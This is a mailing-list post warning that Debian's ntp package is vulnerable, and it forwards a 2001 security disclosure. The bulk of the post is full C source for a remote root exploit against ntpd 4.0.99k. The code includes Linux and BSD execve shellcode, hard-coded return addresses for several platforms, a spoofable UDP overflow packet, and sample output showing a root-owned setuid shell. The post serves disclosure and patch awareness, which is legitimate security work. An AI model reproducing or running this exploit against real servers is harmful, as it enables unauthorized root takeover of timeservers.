It would appear that every supported Debian version is currently
vulnerable...  Note that I've not tested this myself, but our version of
ntp is definitely supposed to be vulnerable.

noah

----- Forwarded message from Przemyslaw Frasunek <[EMAIL PROTECTED]> -----

Date:         Wed, 4 Apr 2001 22:27:01 +0200
From: Przemyslaw Frasunek <[EMAIL PROTECTED]>
Subject:      ntpd =< 4.0.99k remote buffer overflow
To: [email protected]

/* ntpd remote root exploit / babcia padlina ltd. <[EMAIL PROTECTED]> */

/*
 * Network Time Protocol Daemon (ntpd) shipped with many systems is vulnerable
 * to remote buffer overflow attack. It occurs when building response for
 * a query with large readvar argument. In almost all cases, ntpd is running
 * with superuser privileges, allowing to gain REMOTE ROOT ACCESS to timeserver.
 *
 * Althought it's a normal buffer overflow, exploiting it is much harder.
 * Destination buffer is accidentally damaged, when attack is performed, so
 * shellcode can't be larger than approx. 70 bytes. This proof of concept code
 * uses small execve() shellcode to run /tmp/sh binary. Full remote attack
 * is possible.
 *
 * NTP is stateless UDP based protocol, so all malicious queries can be
 * spoofed.
 *
 * Example of use on generic RedHat 7.0 box:
 *
 * [EMAIL PROTECTED] venglin]$ cat dupa.c
 * main() { setreuid(0,0); system("chmod 4755 /bin/sh");  }
 * [EMAIL PROTECTED] venglin]$ cc -o /tmp/sh dupa.c
 * [EMAIL PROTECTED] venglin]$ cc -o ntpdx ntpdx.c
 * [EMAIL PROTECTED] venglin]$ ./ntpdx -t2 localhost
 * ntpdx v1.0 by [EMAIL PROTECTED]
 *
 * Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh)
 *
 * RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query
 * [1] <- evil query (pkt = 512 | shell = 45)
 * [2] <- null query (pkt = 12)
 * Done.
 * /tmp/sh was spawned.
 * [EMAIL PROTECTED] venglin]$ ls -al /bin/bash
 * -rwsr-xr-x    1 root     root       512540 Aug 22  2000 /bin/bash
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>

#define NOP     0x90
#define ADDRS   8
#define PKTSIZ  512

static char usage[] = "usage: ntpdx [-o offset] <-t type> <hostname>";

/* generic execve() shellcodes */

char lin_execve[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/tmp/sh";

char bsd_execve[] =
        "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
        "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
        "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/sh\x01\x01\x01\x01"
        "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

struct platforms
{
        char *os;
        char *version;
        char *code;
        long ret;
        int align;
        int shalign;
        int port;
};

/* Platforms. Notice, that on FreeBSD shellcode must be placed in packet
 * *after* RET address. This values will vary from platform to platform.
 */

struct platforms targ[] =
{
        { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
                0xbfbff8bc, 200, 220, 0 },

        { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
                0xbfbff540, 200, 220, 0 },

        { "RedHat Linux 7.0", "4.0.99k-RPM (/tmp/sh)", lin_execve,
                0xbffff777, 240, 160, 0 },

        { NULL, NULL, NULL, 0x0, 0, 0, 0 }
};

long getip(name)
char *name;
{
        struct hostent *hp;
        long ip;
        extern int h_errno;

        if ((ip = inet_addr(name)) < 0)
        {
                if (!(hp = gethostbyname(name)))
                {
                        fprintf(stderr, "gethostbyname(): %s\n",
                                strerror(h_errno));
                        exit(1);
                }
                memcpy(&ip, (hp->h_addr), 4);
        }

        return ip;
}

int doquery(host, ret, shellcode, align, shalign)
char *host, *shellcode;
long ret;
int align, shalign;
{
        /* tcpdump-based reverse engineering :)) */

        char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
                      0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61,
                      0x74, 0x75, 0x6d, 0x3d };

        char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
                      0x00, 0x00, 0x00, 0x00 };

        char buf[PKTSIZ], *p;
        long *ap;
        int i;

        int sockfd;
        struct sockaddr_in sa;

        bzero(&sa, sizeof(sa));

        sa.sin_family = AF_INET;
        sa.sin_port = htons(123);
        sa.sin_addr.s_addr = getip(host);

        if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
        {
                perror("socket");
                return -1;
        }

        if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0)
        {
                perror("connect");
                close(sockfd);
                return -1;
        }

        memset(buf, NOP, PKTSIZ);
        memcpy(buf, q2, sizeof(q2));

        p = buf + align;
        ap = (unsigned long *)p;

        for(i=0;i<ADDRS/4;i++)
                *ap++ = ret;

        p = (char *)ap;

        memcpy(buf+shalign, shellcode, strlen(shellcode));

        if((write(sockfd, buf, PKTSIZ)) < 0)
        {
                perror("write");
                close(sockfd);
                return -1;
        }

        fprintf(stderr, "[1] <- evil query (pkt = %d | shell = %d)\n", PKTSIZ,
                strlen(shellcode));
        fflush(stderr);

        if ((write(sockfd, q3, sizeof(q3))) < 0)
        {
                perror("write");
                close(sockfd);
                return -1;
        }

        fprintf(stderr, "[2] <- null query (pkt = %d)\n", sizeof(q3));
        fflush(stderr);

        close(sockfd);

        return 0;
}

int main(argc, argv)
int argc;
char **argv;
{
        extern int optind, opterr;
        extern char *optarg;
        int ch, type, ofs, i;
        long ret;

        opterr = ofs = 0;
        type = -1;

        while ((ch = getopt(argc, argv, "t:o:")) != -1)
                switch((char)ch)
                {
                        case 't':
                                type = atoi(optarg);
                                break;

                        case 'o':
                                ofs = atoi(optarg);
                                break;

                        case '?':
                        default:
                                puts(usage);
                                exit(0);

                }

        argc -= optind;
        argv += optind;

        fprintf(stderr, "ntpdx v1.0 by [EMAIL PROTECTED]");

        if (type < 0)
        {
                fprintf(stderr, "Please select platform:\n");
                for (i=0;targ[i].os;i++)
                {
                        fprintf(stderr, "\t-t %d : %s %s (%p)\n", i,
                        targ[i].os, targ[i].version, (void *)targ[i].ret);
                }

                exit(0);
        }

        fprintf(stderr, "Selected platform: %s with ntpd %s\n\n",
                        targ[type].os, targ[type].version);

        ret = targ[type].ret;
        ret += ofs;

        if (argc != 1)
        {
                puts(usage);
                exit(0);
        }

        fprintf(stderr, "RET: %p / Align: %d / Sh-align: %d / sending query\n",
                (void *)ret, targ[type].align, targ[type].shalign);

        if (doquery(*argv, ret, targ[type].code, targ[type].align,
                targ[type].shalign) < 0)
        {
                fprintf(stderr, "Failed.\n");
                exit(1);
        }

        fprintf(stderr, "Done.\n");

        if (!targ[type].port)
        {
                fprintf(stderr, "/tmp/sh was spawned.\n");
                exit(0);
        }

        exit(0);
}

--
* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE *
* Inet: [EMAIL PROTECTED] ** PGP: D48684904685DF43EA93AFA13BE170BF *

----- End forwarded message -----

-- 
 _______________________________________________________
| Web: http://web.morgul.net/~frodo/
| PGP Public Key: http://web.morgul.net/~frodo/mail.html 

Attachment: pgpH00S4JrCSc.pgp
Description: PGP signature

Reply via email to